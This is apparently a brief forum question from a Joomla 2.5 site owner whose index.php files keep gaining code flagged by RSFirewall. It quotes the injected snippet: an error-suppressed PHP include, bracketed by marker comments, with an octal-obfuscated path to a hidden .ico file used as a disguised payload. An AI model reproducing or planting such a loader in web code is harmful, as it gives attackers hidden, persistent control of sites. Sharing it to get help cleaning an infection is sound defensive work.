This question already has an answer here:
Index.php files comes automatically
i scan the index.php files with RSfirewall. it is in joomla 2.5
<?php
/*df76c*/
@include "\057ho\155e/\145ar\164ht\157he\141ve\156co\057pu\142li\143_h \164ml\057li\142ra\162ie\163/f\060f/\151nt\145gr\141ti\157n/\05659\06725\06435\056ic\157";
/*df76c*/
</div>